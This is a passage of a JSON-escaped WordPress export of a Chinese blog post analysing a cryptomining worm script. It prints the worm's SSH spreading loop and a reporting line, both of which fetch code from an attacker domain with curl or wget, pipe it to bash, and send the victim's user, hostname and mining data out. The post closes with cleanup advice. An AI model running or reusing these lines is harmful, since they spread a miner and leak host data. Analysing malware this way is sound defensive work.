    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo<\/span>\u00a0exit<\/span>\u00a0|nc\u00a0-w\u00a01\u00a0-n\u00a0-v\u00a0$host<\/span>\u00a065529\u00a0&&\u00a0\u00a0ssh\u00a0-oStrictHostKeyChecking=no\u00a0-oBatchMode=yes\u00a0-oConnectTimeout=5\u00a0-i\u00a0$key<\/span>\u00a0$user<\/span>@$host<\/span>\u00a0-p$sshp<\/span>\u00a0\"export\u00a0src=sshcopy;(curl\u00a0-fsSL\u00a0http:\/\/t.bb3u9.com\/ln\/core.png?sshcopy*`whoami`*`hostname`||wget\u00a0-q\u00a0-O-\u00a0http:\/\/t.bb3u9.com\/ln\/core.png?sshcopy*`whoami`*`hostname`)|bash\u00a0>\/dev\/null\u00a02>&1\u00a0&\"<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0done<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0done<\/span>
    \u00a0\u00a0\u00a0\u00a0done<\/span>
    \u00a0\u00a0done<\/span>
    }
    <\/code><\/pre>\n
    \u6700\u540e\uff0c\u811a\u672c\u8fd8\u4e0d\u5fd8\u6c47\u62a5\u4e00\u4e0b\uff0c\u5f62\u6210\u5b8c\u7f8e\u7684\u95ed\u73af\u3002<\/p>\n
    reurl=http:\/\/t.bb3u9.com\/ln\/report.asp?*`whoami`*`hostname`*${guid}<\/span>*${isdocker}<\/span>*${pyver}<\/span>*${isxrfile}<\/span>*${hashrate}<\/span>*${mip}<\/span>
    (curl\u00a0-fsSL\u00a0$reurl<\/span>||wget\u00a0-q\u00a0-O-\u00a0$reurl<\/span>)|bash
    <\/code><\/pre>\n
    4. End<\/h2>\n
    \u5982\u679c\u4f60\u53d1\u73b0\u4f60\u7684\u673a\u5668\u4e0d\u660e\u539f\u56e0\u53d1\u70ed\uff0c\u52a1\u5fc5\u6392\u67e5\u4e00\u4e0b\u6709\u6ca1\u6709\u6316\u77ff\u7a0b\u5e8f\u3002\u867d\u7136\u4f60\u7684\u670d\u52a1\u5668\u6446\u5728\u90a3\u91cc\u4e5f\u6ca1\u4ec0\u4e48\u7528\uff0c\u4f46\u7528\u7740\u4f60\u7684\u7535\u8d39\uff0c\u6536\u76ca\u5374\u7ed9\u522b\u4eba\uff0c\u76f8\u4fe1\u4f60\u4e00\u5b9a\u4f1a\u5ac9\u5992\u7684\u8981\u547d\u3002\u90a3\u4e48\u522b\u72b9\u8c6b\uff0ckill -9\u9001\u7ed9\u5b83\uff0c\u522b\u5fd8\u4e86\u6e05\u7406cron\u3002<\/p>\n
    \u91cd\u88c5\u662f\u6211\u4eec\u7684\u79d8\u5bc6\u6b66\u5668\uff0c\u4ec5\u6b21\u4e8e\u91cd\u542f\u3002\u5acc\u9ebb\u70e6\u7684\u8bdd\uff0c\u5c31\u8fd9\u4e48\u5e72\u5427\uff01<\/p>\n
    – EOF –<\/span><\/strong><\/section>\n
    <\/section>\n<\/section>\n<\/div>\n\n\n
    \u8f6c\u81ea\uff1ahttps:\/\/mp.weixin.qq.com\/s\/oo5z7XqPBp9ZdNx8qsYkaA<\/p>\n","protected":false},"excerpt":{"rendered":"
    \u6e29\u99a8\u63d0\u793a\uff1a\u672c\u6587\u4e2d\u51fa\u73b0\u7684\u547d\u4ee4\u548c\u811a\u672c\uff0c\u4e0d\u8981\u5728\u81ea\u5bb6\u670d\u52a1\u5668\u4e0a\u968f\u4fbf\u8fd0\u884c\uff0c\u9664\u975e\u4f60\u77e5\u9053\u81ea\u5df1\u5728\u505a\u4ec0\u4e48\u3002 \u6316\u77ff\u662f\u628a\u673a\u5668\u5f53\u4f5c\u5974\u96b6\uff0c … \u7ee7\u7eed\u9605\u8bfb\u201c\u51f6\u6b8b\u7684\u6316\u77ff\u811a\u672c\uff0c\u5974\u5f79\u6211\u6570\u5343\u673a\u5668\uff01\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[5,1260],"_links":{"self":[{"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=\/wp\/v2\/posts\/84208"}],"collection":[{"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=84208"}],"version-history":[{"count":2,"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=\/wp\/v2\/posts\/84208\/revisions"}],"predecessor-version":[{"id":84212,"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=\/wp\/v2\/posts\/84208\/revisions\/84212"}],"wp:attachment":[{"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=84208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=84208"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.zhushiyao.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=84208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}